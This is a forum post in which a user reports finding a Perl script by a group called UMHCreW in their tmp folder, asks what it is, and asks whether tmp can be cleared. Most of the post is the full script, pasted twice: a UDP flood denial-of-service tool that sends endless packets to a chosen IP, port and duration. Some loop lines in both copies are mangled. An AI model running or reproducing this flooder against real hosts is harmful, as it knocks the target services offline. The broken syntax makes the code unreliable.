I had a script made by a hacking team called UMHCreW in my TMP folder.
Anyone know what it is ?
Is it ok to remove/delete ALL files in the tmp folder or will this
screw something up ?
I have old files and a lot of folders and crazy files in there.
Here's the script...
#!/usr/bin/perl
#####################################################
# Simple but agressive udp flood.
#
# gr33ts: Amaz1ng^ RUBIN1,Caffeine,cyberboki, etc.
#
# lemurian from UMHCreW @ eu.undernet.org #deadworld
######################################################
use Socket;
[email protected];
if ($ARGC !=3) {
printf "UMHCreW 2004\n";
printf "$0 <ip> <port> <time>\n";
printf "if arg1/2 =0, randports/continous packets.\n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "Simpe but Agressive udp flood - [email protected]\n";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;
{
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;
{
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
Anyone know what it is ?
Is it ok to remove/delete ALL files in the tmp folder or will this
screw something up ?
I have old files and a lot of folders and crazy files in there.
Here's the script...
#!/usr/bin/perl
#####################################################
# Simple but agressive udp flood.
#
# gr33ts: Amaz1ng^ RUBIN1,Caffeine,cyberboki, etc.
#
# lemurian from UMHCreW @ eu.undernet.org #deadworld
######################################################
use Socket;
[email protected];
if ($ARGC !=3) {
printf "UMHCreW 2004\n";
printf "$0 <ip> <port> <time>\n";
printf "if arg1/2 =0, randports/continous packets.\n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "Simpe but Agressive udp flood - [email protected]\n";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}